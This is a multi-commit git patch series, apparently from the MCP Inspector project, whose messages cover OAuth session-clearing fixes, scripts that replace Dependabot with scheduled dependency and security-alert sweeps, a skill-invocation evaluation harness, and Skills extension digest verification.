From fcec17f5d1f7085a934c175f72cfa5d2e9b36592 Mon Sep 17 00:00:00 2001 From: cliffhall Date: Thu, 3 Sep 2026 19:42:37 -0400 Subject: [PATCH 001/174] fix: key the OAuth clear's active-session check on the storage key (#2217) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit OAuth state is keyed by server URL, but `clearServerOAuthAndDisconnect` decided "is this the active connection" from the catalog entry id. Those are different identities and nothing keeps them in sync: `serverList` enforces no URL uniqueness, so two entries with distinct ids against one URL are a supported state — and a natural one, since separate entries are how a user keeps different names, headers or per-server settings against the same server. Clearing the inactive entry therefore deleted the shared URL-keyed blob — the active session's tokens, DCR client id and PKCE state — and, with #2144 in, revoked its grant at the authorization server, while the id check took the inactive branch: no live-client clear, no disconnect, no session cleanup. The active session was left connected on credentials that no longer existed, with nothing told to the user; the break then surfaced somewhere else entirely, on the next refresh, 401 or reload. The branch now compares the OAuth storage key of the cleared entry against the active entry's, and treats a match as affecting the active session — live-client clear, disconnect, session cleanup — exactly as clearing the active entry does. The existing id and client-identity checks stay on top: they guard the separate stale-session race from #2144, and the snapshotted id they revalidate is now the active one rather than the cleared entry's, which for a shared-key clear are not the same. The toast says why the session went away. The alternative, prohibiting duplicate URLs in `serverList`, would remove a legitimate workflow to fix a bug in the consumer and could not repair catalogs that already hold duplicates.

In the browser that read goes through the remote OAuth store, so it is a network round trip that can reject — a backend that is down or restarting, a 401 on the API token, malformed stored state. void silences no-floating-promises without terminating anything, so every such failure became an unhandled rejection, on the initial refresh and on every oauthComplete refresh. Terminate the chain with a .catch that clears the panel details rather than leaving the last successful read on screen: the panel reports the current OAuth state, and a stale answer is indistinguishable from a fresh one. The cancelled guard is repeated on the catch so a rejection arriving after unmount does not write. The void stays, now with the one-line justification AGENTS.md asks for — a synchronous useEffect body cannot await. Two tests cover it. Both fail against the unfixed source with unhandled rejections, which is the failure mode itself: an unhandled rejection fails the whole vitest run.

An effect runs after the commit, so a server switch painted one frame still carrying the previous server's re-auth banner or step-up prompt: an authorization affordance attached to the wrong server. Reset both during render with `useValueChange` instead. `activeServerId` is a primitive, so it satisfies the helper's `Object.is` stability requirement, and the previous value is read from the `setState` updater argument rather than from `sessionRef.current`, keeping the render-phase callback pure. `react-hooks/set-state-in-effect` did not fire on the original because the effect read the previous value through a ref rather than from a prop or state. The test records one entry per committed render and asserts both slots are empty in the first frame after the switch — the pre-existing `waitFor`-based tests pass against the effect version too.

Two catalog entries against one URL share one credential blob, one grant and one revocation, so an id-keyed guard let exactly the race it exists to prevent through between them — concurrent store writes, concurrent RFC 7009 requests, and two contradictory teardown toasts. The guard now keys on `oauthClearKey`, a pure helper that resolves the OAuth storage key and falls back to the entry id for a config that has none (stdio), where there is no shared state to collide over. The id fallback keeps such entries distinct from each other rather than collapsing them onto one key, and both forms are prefixed so a user-supplied id can never impersonate a URL.

Adds an App.test.tsx case that connects entry A, holds its clear open on a deferred `clearOAuthTokens`, then drives a clear for entry B — a different catalog id against the same URL — and asserts the underlying clear ran exactly once, and once more after the first settles, so the key is proven released rather than leaking a permanently dead control. Verified to fail against the id-keyed guard. Two supporting changes it needs: - an `open-settings-b` control on the mocked InspectorView, the only way to reach a settings modal for a server other than the active one; - `@inspector/core/mcp/remote/index.js` becomes a partial mock. `getWebProxiedFetch` reaches for `createRemoteFetch` there, and the bare stub threw a missing-export error before the clear under test ever ran — the failure surfaced as the generic "Could not clear the stored OAuth state" toast. The case carries an explicit 20s timeout and `delay: null`: it drives three full modal interaction sequences against the whole App tree, which runs past the 5s default when the suite is under load.

Refreshes are concurrent — an `oauthComplete` can start a second read while the first is still in flight — and nothing makes them settle in order. The new catch made that visible: a slow earlier read could reject *after* a newer one succeeded and clear the fresh result. Guard both handlers with a monotonically increasing sequence so only the newest read writes. The two tests were also too weak to detect their own guards, as the review pointed out. Both started from an undefined panel, so neither could tell a correct handler from one that merely swallowed the error: - The rejection test now seeds a successful read first, then rejects an `oauthComplete` refresh and asserts the already-loaded details clear. - The post-cleanup test now reconnects with a replacement client that populates details, then rejects the stale read, and asserts the current details survive. - A third test covers the ordering guard directly. Each of the three guards has exactly one test that fails without it, verified by mutation: dropping the sequence check, dropping the clear, and dropping the `cancelled` check each break one test and no others.

The `useServers` cast was the more useful catch: removing it surfaced that the mock omitted `reorderServers` and `importSource`, so App code calling either would have read `undefined` with this test still passing type-check. The full result shape is supplied instead, matching the `mockServersWith` helper above. The client cast becomes an intersection — the instances are already typed `EventTarget`, so naming the test-only spy on top of that expresses what is needed without erasing the rest.

A card can be edited while connected — `onConfigSubmit` writes the catalog and does not rebuild the client — so after A connects to X and is edited to Y, the entry reads Y while the session is still authorized against X. Both consumers read the entry, so both got it wrong in the same way: - the hook compared a cleared entry against A's *entry* URL, so clearing another entry still at X missed the match and deleted and revoked the live client's X-keyed credentials without disconnecting it — the exact failure this PR exists to prevent; - `runClear` locked on the entry's key, so a clear of edited-A (`url:Y`) and a clear of entry B at X (`url:X`) took different locks while both performed the same X-keyed operation through the same live client. `InspectorClient.getTransportConfig()` returns the config it was constructed with, which is what its credentials are keyed under, so both now resolve from that and fall back to the catalog entry only when there is no client. The rule moves into one exported function, `resolveOAuthClearIdentity`. Two copies of it that disagree is precisely the class of bug #2217 is, and the two consumers each re-deriving it is how this round's finding came to exist at all. Both fakes gain a `getTransportConfig`, and three tests cover the split: the resolver's own two (the client's URL wins; an active clear locks on the client's key) and a hook case asserting an edited active entry still disconnects when the entry sharing the client's real URL is cleared.

Reverts `.github/dependabot.yml` to its `v2/main` state, leaving this PR with the release-time `npm audit fix` and the monthly `npm outdated` sweep: the replacement flow, not the switch-off. Both new files' header comments claimed the switch-off had already happened, which is false until #2235 lands. They now say #2235 does it, and that until then Dependabot's npm PRs and this sweep overlap — duplicate signal rather than conflicting action.

""`. A failed `npm outdated` (exit 2 on a registry or config error) also prints nothing, so the empty string parsed to an empty package list — and across five installs a total outage produced output byte-identical to a clean sweep. It now throws on any status other than the documented 0/1. `main()` was untested, which is how that reached review: the helper-only suite passed while the silent-success path was live. It now takes its spawn function as a parameter and is driven by a fake, covering npm failure, create vs. edit, milestone handling, both no-op paths and the missing-repo guard. The no-op path returned before looking for the marker issue, so once every install caught up, a still-open tracking issue kept its obsolete package table indefinitely — contradicting the body's own promise to update in place. It now rewrites through `buildClearedBody()`. It deliberately does not close the issue: the sweep takes no board actions, and closing one whose card a maintainer may have moved would make the board assert work shipped that this script cannot verify shipped. The release step mandated `npm audit fix`, which AGENTS.md forbids. The reason is not `--force`: plain `audit fix` resolves an advisory with no upward escape in range by silently downgrading, as it did to esbuild across three installs in #2058, and `local:gate` has no version-regression check to catch it. The step is now `npm audit` report-only, with fixes applied deliberately via a direct bump or an `overrides` entry. An unmilestoned issue is swept into Incoming, not Todo — Todo asserts a maintainer signed off. Message corrected and pinned by a test.

Switches the old dependency flow off now that #2232 landed the replacement. Removes the five npm ecosystem entries (root plus each client under clients/*) and, resolving the question #2229 left open, the github-actions entry as well — so .github/dependabot.yml goes away outright rather than being emptied, which its schema does not allow. The github-actions entry had exactly the property #2229 exists to remove: it opened a grouped monthly PR carrying no `Closes #N` and no board card, the one standing exception to "every PR references an issue". Deleting it unreplaced would have left 9 actions unwatched, and `npm outdated` says nothing about actions, so the monthly sweep now also checks every `uses:` ref under .github/workflows and renders the stale ones as one more section of the same tracking issue. Ranking comes from the release LIST, not `releases/latest`. That endpoint returns the release GitHub designates most recent, not the greatest version, so an action publishing a maintenance release for an older major (a v6.9.1 cut after v8.0.0) would make a workflow pinned to v7 compare against v6 and read as current — silently missing a whole major upgrade, the one thing this check exists to catch. Staleness is compared only to the precision the ref specifies. `v7` is a moving major tag that GitHub repoints at every v7.x release, so `v7` against a highest of `v7.0.1` is current and only `v8` makes it stale; an exactly-pinned `v7.0.0` is behind `v7.0.1`; a SHA pin is deliberately immovable and is never reported. A release lookup suppresses only a 404 — the legitimate "this action has never cut a release" answer — and throws on anything else. Treating a rate limit or an expired token as "no release" is indistinguishable from "not stale", and since every action here already sits on its latest major, the resulting empty section is byte-identical to a healthy run. `buildClearedBody` now speaks for both halves: once actions are in scope, its npm-only wording would assert a clean bill of health the sweep never checked. Dependabot security updates are unaffected — they are configured in repo settings, not in this file, and kept working while it was missing entirely (#1833, #1840). That note moves into the workflow header rather than dying with the file; #2233 is where they are turned off deliberately. The script header, the workflow header and the generated issue body all say version-update PRs rather than claiming Dependabot is replaced wholesale. Also renames the workflow's npm-outdated job to dependency-sweep now that the sweep is no longer npm-only.

charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses Copilot review round 4 on #2239. Both findings are regressions I introduced in round 3 and both are correct. Round 3 moved the lookup from `releases/latest` to the release LIST, to rank by version rather than by GitHub's designated latest — but kept the 404 suppression that only made sense for the old endpoint. The list endpoint answers "this action cuts no releases" with a successful empty array, so a 404 there does not mean that at all: it means the repository is missing or inaccessible, i.e. a `uses:` ref the sweep cannot check. Converting it to null silently dropped a broken or renamed action from the flow that replaced Dependabot — the same silent-success shape this PR has been closing everywhere else, reintroduced one layer down. Every non-zero status is now fatal and `isMissingRelease` is gone entirely; the benign no-releases case is the successful empty array, covered by its own test. `buildClearedBody` also overstated its all-clear. Refs pinned to a commit SHA or a branch return null from `parseVersionRef` and are never ranked, so "no workflow `uses:` ref is behind" asserted a check that had not happened for them. It now says version-pinned refs and names the exclusion explicitly. Both guards are mutation-checked: restoring the 404 suppression, and dropping the SHA/branch qualification, each fail exactly one test.

Round 4 made every non-zero release-list response fatal and deleted `isMissingRelease`, but `latestReleaseTag`'s JSDoc still promised `@throws when the lookup fails for any reason other than a 404` — the exact behavior that change removed. The PR description carried the same stale claim. A contract that documents the opposite of the code is worse than none: the next reader reasonably trusts it, and here it would tell them a missing action repo is silently tolerated when it now fails the sweep. The contract now reserves `null` for a successful response carrying no usable release — an action that has never cut one, or whose tags are all unparseable — and states that a failed lookup is never `null`. Documentation only; no behavior change, and the 29 tests are untouched.

The lookup read one page of 100 and the doc comment justified it with an assumption rather than a guarantee: "the greatest version is within it for any real action". The list is ordered by release DATE, not version, so an action that keeps cutting maintenance releases on lower majors pushes the genuine maximum off page 1. Ranking what remained would report a lower major as highest — the exact false-current result that dropping `releases/latest` in round 3 was meant to prevent, arrived at by a different route. Now passes `--paginate`. Cost is unchanged for every action this repo uses (57 and 64 releases are the largest, so still one request each); it only costs more where correctness actually required it. The command-shape test now requires `--paginate` as well as the list endpoint. It has to: pagination is invisible in the result — one page and every page return an identical-looking tag list until the day they do not — so nothing about the returned value can detect its absence. Verified by mutation: removing `--paginate` fails exactly one test. Adding the flag also moved the URL out of args[1], which the test's own filter had hardcoded — it caught that itself. Both the filter and fakeSpawn's matcher are now argument-position agnostic.

Both halves are now replaced by scheduled workflows that file **issues**, and a maintainer writes the fix by hand against `v2/main`. + +| Half | Switched off by | Replaced by | Cadence | +| --- | --- | --- | --- | +| Version updates | Deleting `.github/dependabot.yml` outright (#2235) — an empty `updates:` list is not valid config | `.github/workflows/dependency-refresh.yml` → `scripts/dependency-refresh.mjs`: `npm outdated` across every install, plus a `uses:` check against each action's latest release, folded into **one** tracking issue | Monthly | +| Security updates | `DELETE /repos/{owner}/{repo}/automated-security-fixes` — a **repo setting**, not a file | `.github/workflows/dependabot-alerts.yml` → `scripts/dependabot-alerts.mjs`: reads the alerts and files one issue **per bump** | Daily | + +Four things about this that are not obvious from the code: + +- **Dependabot *alerts* stay on.** Alerts and security-update PRs are independent settings; only the PRs are off. Turning alerts off would blind the sweep that replaced them. +- **The security half is a schedule, not an event handler**, because there is no `dependabot_alert` workflow trigger — it is a webhook event only. +- **Alerts are computed from the default branch (`main`), and we ship from `v2/main`.** So the sweep re-checks each alert's vulnerable range against `v2/main`'s own lockfile before filing, and skips one that is already fixed there. The converse is a real blind spot with no fix on this path: a vulnerable dependency introduced on `v2/main` and not yet merged to `main` produces **no alert at all**. The release-time `npm audit fix` (#2231) is the partial second signal. +- **`automated-security-fixes` can be re-enabled from the UI without a commit**, so nothing in the repo would record it. The sweep asserts it is still disabled and **fails loudly** if it is not; a red run of that workflow means the setting was flipped, not that the script broke. + +An issue filed by either sweep is an ordinary board item — `v2` + `chore` + `dependabot`, the current milestone, and a card on #28. A security issue lands at **Todo / High**: arriving through this pipeline *is* the approval, and `High` is a standing override of the [priority rubric](.claude/skills/issue-triage/SKILL.md), which would otherwise score a routine bump Medium. Board placement needs an org-project PAT that `GITHUB_TOKEN` cannot have, so it is **best-effort** — without the secret the issue is still created labeled and milestoned, and the next triage sweep boards it. + ## Contributing External contributions are accepted as **issues, not pull requests** — maintainers handle design and implementation through a prompt-driven workflow. diff --git a/package-lock.json b/package-lock.json index 30ffce316..bb0cd36ee 100644 --- a/package-lock.json +++ b/package-lock.json @@ -46,6 +46,7 @@ "express": "^5.2.1", "globals": "^17.7.0", "prettier": "3.8.4", + "semver": "^7.8.5", "typescript": "~5.9.3", "typescript-eslint": "^8.65.0", "vitest": "4.1.10" diff --git a/package.json b/package.json index 3d940a819..0614b5182 100644 --- a/package.json +++ b/package.json @@ -123,6 +123,7 @@ "express": "^5.2.1", "globals": "^17.7.0", "prettier": "3.8.4", + "semver": "^7.8.5", "typescript": "~5.9.3", "typescript-eslint": "^8.65.0", "vitest": "4.1.10" diff --git a/scripts/dependabot-alerts.mjs b/scripts/dependabot-alerts.mjs new file mode 100644 index 000000000..d56f5f654 --- /dev/null +++ b/scripts/dependabot-alerts.mjs @@ -0,0 +1,691 @@ +#!/usr/bin/env node +// Dependabot alert sweep (#2233), the alert-consuming half of #2229. +// +// Dependabot's SECURITY-update PRs are turned off in repo settings; its alerts +// stay on.

The key is a JSON array now, with no separator left to justify. - De-duplicate advisory comments per GHSA rather than per whole set. A run that comments and then fails before the marker edit left the next run computing a different set, which matched nothing and announced the same advisory twice. - Refresh the issue title on edit; it carries the advisory count, so it went stale as soon as an issue grew past what it was filed with. - Correct the test file's header, which still claimed main() was left to workflow_dispatch.

A manifest can declare a safe `pkg@4` while a dependency drags a vulnerable `pkg@3` into a nested folder; the old boolean called that "direct" and asked for a range bump that would have changed nothing, omitting the override the nested copy needs. - `lockfileEntries` keeps each copy's tree path and whether it is the hoisted one; `lockfileVersions` is now derived from it. - `remediation(affected, declared)` returns both flags, so the issue can ask for a range bump, an overrides pin, or explicitly both. The body lists the vulnerable copies and their paths. - An undeclared hoisted copy counts as transitive: it got there the same way any other transitive copy did, and no declared range reaches it. (Found by a test written for this change.) The `vulnerability-alerts: read` finding is declined — verified against a real runner, which reports `VulnerabilityAlerts: read` and reads the alerts successfully. See the PR comment for the log.

charset=UTF-8 Content-Transfer-Encoding: 8bit - Narrow each group to the advisories the installed copies are actually in range of. Two advisories can share a package, manifest and patched version while having different vulnerable ranges, so a group-level "does any match?" left the marker, title, severity and table all claiming an advisory that does not apply on this branch. - Escape every free-form Markdown cell, the vulnerable range included. A semver range may contain `||`, which is also the column separator. - Paginate the open-issue lookup instead of capping it at 100. The marker lookup is what makes the sweep idempotent, so a truncated list would file a duplicate for every issue it could not see — at the same scale the alert fetch is built to handle. Pull requests, which the issues endpoint also returns, are dropped.

Both cases are covered — the zero-alert run, which used to return before loading issues at all, and a vanished group while other groups remain. - Ask for a PARENT-SCOPED overrides entry when the package is also declared directly. npm rejects an override contradicting a direct dependency with EOVERRIDE, so the guidance for the mixed case would not have applied. The issue now prints the exact nested JSON. - Correct the body's NOTE: severity, range, GHSA and CVE are the advisory's own. Only the installed versions, their paths and range applicability are verified against v2/main. - Stop the new-advisory comment claiming the body marker "now covers" the advisory; it is posted before the edit, so that is false at posting time.

The converse is a real blind spot with no fix on this path: a vulnerable dependency introduced on `v2/main` and not yet merged to `main` produces **no alert at all**. The release-time `npm audit --audit-level=high` report (#2231) is the partial second signal — and only at release time. - **`automated-security-fixes` can be re-enabled from the UI without a commit**, so nothing in the repo would record it. The sweep reads it back and **fails loudly on an explicit `enabled: true`**. ⚠️ It is a *conditional* guard, not an invariant: the endpoint needs `administration: read`, which `GITHUB_TOKEN` cannot be granted (`permissions:` has no such key), so under the default token the sweep logs **UNVERIFIED** and carries on rather than going red every day for an unrelated reason. Only a token carrying that scope makes it a real assertion. -An issue filed by either sweep is an ordinary board item — `v2` + `chore` + `dependabot`, the current milestone, and a card on #28.

Dependabot alerts are not npm-only and this repo has a Dockerfile, so an alert against it would have been parsed as a lockfile, thrown, and aborted the whole daily sweep before any npm group ran. A non-npm alert is now reported loudly with its GHSAs so a human can file it, and readManifest no longer lets one unparseable manifest take the run down. - Distinguish a superseded bump from a closed one. GitHub can revise first_patched_version, moving an advisory to a different key while it stays open; reporting that as "fixed or dismissed" would stand down a live exposure. The reason now reads from the open GHSA set. - Only claim security-update PRs are off when the run actually read the setting. The guard degrades to UNVERIFIED, and an issue asserting what the run could not confirm is worse than one that stays quiet. - README.md and AGENTS.md: scripts/ now holds repo automation run from CI, not only build/verify tooling.

Such an issue is now left exactly as it is, and said so in the log. - Stop re-editing cleared issues daily. A cleared issue stays open, so the next run regenerated its body with a new date and edited it again, forever. The date is now read back off the existing body, so only a real change writes — and a real change takes today's date. - Distinguish an absent manifest from an unparseable one. Both returned null, so a malformed lockfile was treated as "the manifest is gone" and cleared the issue. A read error is evidence of nothing.

Dependabot alerts are per manifest and this repo has five lockfiles, so the same advisory legitimately covers the root install and a client. Keyed on the GHSA alone, another manifest's still-filable alert could vouch for this one and clear an issue whose own alert is open with no bump available. - Rename the cleared-date test: it asserts the NEW date is taken when the reason changes, which is the opposite of what its name said. - AGENTS.md no longer implies both sweeps select a dated milestone. Only the security sweep filters undated buckets; the monthly one's selection is raised on #2239.

Membership in a group only means an alert exists. Whether an issue tracks it is decided by the ecosystem check, the manifest read and the range probe that follow — so if GitHub revised first_patched_version while that manifest happened to be unparseable, the replacement group was skipped and the old-key issue was still cleared as "superseded", claiming an issue that was never filed. Each advisory is now noted as tracked, not-exposed or indeterminate as the loop reaches it, and reconciliation refuses to clear while anything still open is indeterminate or absent. That also splits the clear reason honestly: a bump whose copies simply left range now says so, rather than claiming a replacement issue exists.

From 75940976f8afae853132035390d37181bcf8442f Mon Sep 17 00:00:00 2001 From: cliffhall Date: Fri, 4 Sep 2026 19:01:19 -0400 Subject: [PATCH 034/174] feat(skills): measure a skill reached from another skill (#2204) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `skills:eval` ran every case with `--max-turns 1`, so it measured one thing: whether a skill is the model's FIRST tool call. That is right for a skill a user reaches directly, and it leaves a whole class unmeasured — a skill reached from inside another skill's body. `testing` tells the model that picking a fixture is `/test-servers` and that it has to load it, and `test-servers` scores 5/5 while every one of those five cases asks for it by name. A skill only ever reachable through a hand-off would score a clean 100% with the hand-off silently never firing. An eval case is now one of two shapes, and exactly one: { "prompt": "…", "expect": "test-servers" } first move, 1 turn { "prompt": "…", "chain": ["testing", "test-servers"] } hand-off, 14 turns A chain must END with the skill whose file it lives in. The case exists to measure whether THIS skill is reachable, so the file that goes red is the one belonging to the skill that stopped being reached; anchoring on the first link would file a `test-servers` measurement under `testing`, where a `test-servers` description edit would never be seen. Links are checked against the repo's model-invoked set, which is why both `verify:skills` and `collectCases` now validate in a second pass — `test-servers` sorts before `testing`, so a per-directory check would reject a live chain as unknown purely because of where the alphabet put it. Scoring is an ordered SUBSEQUENCE, not a prefix and not a contiguous run: the model may load something before the chain starts and something unrelated in between, and neither changes the claim that A led to B. `collectSkillInvocations` therefore returns an ordered array rather than a Set — a B, A, B run has to stay distinguishable from one that never reached B from A. The two rates are reported in separate columns and never summed. A hand-off is a second-hop load over many turns; a first-move rate is the model's opening move. `CHAIN_MAX_TURNS` (14) and `CHAIN_THRESHOLD` are their own knobs for the same reason, and `CHAIN_THRESHOLD` defaults to **0.5** rather than inheriting 0.8: see the measurement below. Read-only containment no longer leans on `--max-turns 1`, which was doing much of it by itself. The deny list gains the agentic and network tools — `Task` in particular, whose subagent the flag does not reach. Measured, `skills:eval -- test-servers`: First move (1 turn) 7/7 at 100%, unchanged Hand-off (14 turns) 67% and 33% at RUNS=3 So the hand-off is real and unreliable — which is the fact nothing could observe before this change, and the reason 0.5 rather than 0.8 is the default bar: at 0.8 both committed cases are red no matter how strongly the first skill points at the second, and the column stops carrying signal. A `["pr-flow", "test-servers"]` probe measured 0% and was dropped rather than kept: `pr-flow` says nothing about fixtures, so the case had no lever short of broadening a description onto another skill's ground. Both findings are written up in `docs/skill-authoring.md`.

charset=UTF-8 Content-Transfer-Encoding: 8bit #2222 reported that `core/auth/revocation.ts` breaks a client secret containing `+`, on the basis that `encodeURIComponent` leaves `+` bare. It does not — it escapes it as `%2B`. The characters it leaves bare are exactly `!'()*-._~` and alphanumerics, every one of which a form- urldecoder passes through unchanged, so its output decodes identically under both algorithms; verified over every code point up to U+2FFF. Switching to `URLSearchParams` would be the literal algorithm §2.3.1 names and a small regression: it encodes a space as `+`, which a lenient server decoding with `decodeURIComponent` alone reads as a literal `+`, while `%20` is understood by both. The encoder is therefore unchanged and the reasoning is recorded on it. The report's second half stands and is the real defect: the fixture decoded with `decodeURIComponent`, the encoder's own inverse, so the round trip succeeded for every input by construction and no test could have failed on an encoding mistake. `/oauth/revoke` now runs a genuine RFC 6749 Appendix B decode, with unit cases for `+`, a space, `:` and `%` (asserted on the wire and through an independent decoder), an end-to-end client whose secret is base64 with a `+` in it, and a guard that an unencoded credential is refused — the case that separates the two decoders.

Rewritten to carry no server cue ("end to end"), and the measured rate fell from 100% / 67% to 33% / 33%. That is the size of the artefact, and 33% is what the pointer alone is worth. Both cases are now red against the 0.5 bar and stay that way: `skills:eval` is not a gate, the number IS the finding, and lowering the bar to turn the column green would discard the only signal this feature adds. Filed as #2247 with the trap written down so a fix cannot re-measure the artefact. **A deny list cannot bound a 14-turn run.** It only names tools known when it was written, and this checkout configures an HTTP `mcp-docs` server in `.mcp.json` while a contributor's own MCP servers and plugins add more. Now `--allowedTools Read,Glob,Grep,Skill` (what the harness actually needs) plus `--strict-mcp-config` with no `--mcp-config`, which drops every configured server. The deny list stays alongside, since a deny is unconditional while an allow list governs pre-approval. What remains outside all three is a contributor's plugin tools; `--bare` would remove those and skills with them, which would measure nothing — so that residual is stated rather than papered over. **The chain threshold compared inclusively.** "More often than not" is `> 0.5`, and `>=` passes exactly half whenever RUNS is even — 2/4 would report a result the criterion does not license. `passesThreshold` is now strict for chains and a floor for first moves, and a strict bound of 1.0 is rejected up front rather than failing every case while looking like a trigger problem. **The doc's probe command still denied only four tools**, contradicting the section's own promise that a probe and a scored case see the same policy. Updated, with a note that it must move with the harness, plus a hand-off probe form. **The reporting had no automated coverage** — the one thing that could silently merge the two measurements lived inside `main`. Extracted as `formatReport` and tested: both headings, per-group thresholds, the two separate summaries, the combined exit, and both single-kind selections.

So a tool a user's or a plugin's settings already permit stayed reachable across all 14 turns, and the bound still rested on the deny list being complete — the exact property round 1 set out to stop depending on. `--tools` is the real restriction (it selects from the built-in set), and both flags now carry the same four names: `--tools` to bound, `--allowedTools` so those four never need a permission prompt no headless run can answer. Verified against the real CLI — the full flag set runs to a clean `end_turn`. The test asserts both flags, and both probe snippets in `docs/skill-authoring.md` carry `--tools` with a ⚠️ saying which one does the bounding. **The threshold guard let `NaN` and negatives through.** `CHAIN_THRESHOLD=abc` is `NaN`, which fails every comparison and prints an `above NaN%` summary; a negative bar passes every chain unconditionally. Both turn an advertised env knob into a measurement that quietly means nothing. `CHAIN_THRESHOLD` must now be in `[0, 1)` — half-open because the chain bar is strict — and `THRESHOLD` in `[0, 1]`, inclusive because a first-move floor of 1.0 is meetable. The message names the offending value. A new case spawns the script for each bad value rather than asserting on the predicate, since these guards live in `main`.

AGENTS.md's rule is that a transitive is pinned with `overrides` rather than with `npm audit fix` -- it does not call for a pin where none is needed. A permanent pin here would buy nothing and would later hold a package back: `fast-uri: ^3.1.6` forbids fast-uri 4.x for as long as it stands, including after ajv moves to it. The monthly refresh sweep and the daily alert sweep are what catch a regression. `npm audit` is clean in all five installs (root, web, cli, tui, launcher). Reachability, assessed rather than assumed: - fast-uri is the one that ships. ajv is a root runtime dependency, and Vite pre-bundles it into the published `clients/web/dist`, so the vulnerable code was inlined into the SPA rather than merely resolved at install time. Its input is attacker-influenced: `schemaUtils.ts` compiles the `outputSchema` a server under test supplies, and ajv resolves that schema's `$id`/`$ref` through fast-uri (`ajv/dist/runtime/uri.js`). Impact is bounded well below the advisory headlines, though: both SSRF advisories need a consumer that fetches the parsed URI, and ajv never performs a network request. The realistic worst case is the host-confusion pair mis-normalizing a crafted `$id`, giving a wrong or failed validation of one tool's output. - qs is installed in production, but nothing shipped runs it. express is a root devDependency, but that is not its only path: `npm ls express --omit=dev` shows it reaching a production install through @modelcontextprotocol/server-legacy@2.0.0 (a root runtime dependency, also via express-rate-limit) and through @modelcontextprotocol/ext-apps -> @modelcontextprotocol/sdk@1.30.0. So qs is present in every user install. What holds is that no shipped module ever instantiates it: nothing in `core/`, `clients/*/src` or `clients/web/server` calls `express()`, the web backend is Hono, and server-legacy is imported only from `test-servers/src`, which the root `files` list does not publish. Both advisories need express to parse an attacker-supplied query string, which requires a live express app. - browserslist is dev tooling. It arrives in the clients/tui install through eslint-plugin-react-hooks -> @babel/core, is reached only by lint, and is in no published bundle. The root install already resolved a patched 4.28.8 from the same plugin at the same version, which is what identified tui's copy as a stale lock rather than a constrained one.

But the model can emit several `Skill` blocks in a SINGLE assistant message, and it has not seen the first skill's body when it does — those are parallel guesses, not a hand-off. A run that emitted `testing` and `test-servers` together in one message scored as `A` led to `B`, and would have gone on scoring after the pointer in `testing`'s body was deleted: exactly the false pass this feature exists to rule out, arriving by a second route (Copilot). Each recorded invocation now carries the assistant event it came from — `{payload, turn}` — and `chainHit` requires every link after the first to land in a STRICTLY later turn. The turn count is threaded through `collectSkillInvocations`'s `turnOffset`/`nextTurn` so a stream read in chunks stays monotonic rather than restarting per read; without that, a chunk boundary would reset the numbering and reintroduce the same bug on long runs. The scan stays greedy, which is still correct under the constraint: taking the earliest occurrence of a link can only leave more room for the rest, so no later starting point succeeds where the greedy one fails. `sampleHit` is deliberately unaffected — a first-move case asks only whether a skill fired at all, so it reads names and ignores turns. Four new assertions in one case: a same-turn pair scores false; the same two skills a turn apart score true; a same-turn pair does not poison a later genuine hand-off; and only the chain's first link is unconstrained. Plus a `collectSkillInvocations` case pinning the turn tagging and the cross-chunk offset. `docs/skill-authoring.md` now lists this as the second way a chained case can false-pass, alongside a prompt carrying the target's own trigger.

Skills is a *server*-declared extension, read off the connecting server's `capabilities.extensions`, so it is deliberately absent from `ADVERTISABLE_EXTENSIONS` — that registry is what the Inspector advertises and the user toggles, and an entry there would be a meaningless toggle. `skills/list` and `skills/get` are consumer-owned extension methods that neither era codec defines, so the SDK's era gate skips them and they go out as ordinary `client.request` calls with explicit result schemas. The raw-wire channel modern `tasks/*` needs is not used, and the Skills tab is not era-gated: a legacy-era server that declares the extension is serving it. The checks are the point, not the list view. `core/mcp/skills.ts` reports each obligation SEP-2640 states — the name/path invariant, the digest format, the 512-entry and 16 MiB limits, and `resources: "dynamic"`, which means integrity cannot be verified at all. Digest verification hashes the fetched bytes with WebCrypto and returns a mismatch with both digests attached rather than throwing, because showing a mismatch loudly is the whole value proposition. Files are fetched on demand: SEP-2640 is explicit that a `resources/read` of a `SKILL.md` is not a load and confers no standing, so none of the SEP's host machinery is implemented. The `skills-http` fixture serves four skills over two pages, three of them deliberately non-conforming — without those the verification code is untestable. Phase 3 (CLI, TUI, `resources/directory/read`, paged mode) is #2248.

A size that disagrees fails verification on its own — the digest is taken over the bytes the server served, so agreeing with it says nothing about whether the manifest describes them. - skills.ts: copy the view instead of slicing its backing store in `sha256Digest`. `SharedArrayBuffer.prototype.slice()` returns another SharedArrayBuffer, which `crypto.subtle.digest` rejects — the cast claimed to handle the exact input that would have thrown. No cast now. - skills.ts: state the one obligation NOT checked here — that an entry's frontmatter matches the fetched SKILL.md's. The digest cannot cover it, and closing it needs a YAML parser, so it is tracked on #2248. - managedSkillsState: cap the walk at LIST_MAX_PAGES. The repeated-cursor guard only catches a server stuck on one cursor; endlessly unique ones walked forever. Raises rather than truncating, like the salvage walk. - managedSkillsState: gate every write on a session generation, so a walk that resolves after a disconnect or destroy cannot repopulate a cleared store or deliver the previous session's skills into the next. - inspectorClient: send a cursor when it is `!== undefined`, not when it is truthy. An opaque cursor may be `""`, and dropping it re-requested page one — which the store then reported as a repeated-cursor failure. - SkillsScreen: key verdict invalidation on the manifest (URI + digests + sizes), not the URI alone. A Refresh that changed the manifest left a green badge attached to a digest nothing had checked. - SkillsScreen: epoch-guard every read continuation, so a fetch that resolves after the selection moved on cannot write into the new one. - SkillsScreen: bound "Verify all" to 4 concurrent reads. A conforming manifest may hold 512 files. - skillsSchemas: drop the guessed `resources/directory/read` result schema. Nothing calls it, so an unverified shape could sit wrong indefinitely; phase 3 adds it against the normative text. - skills-http.json: declare the extension bare. It advertised `directoryRead: true` with no handler, so Connection Info reported "Supported" for a method that answers -32601. - types.ts: restore the Tasks doc comment the Skills interface displaced.

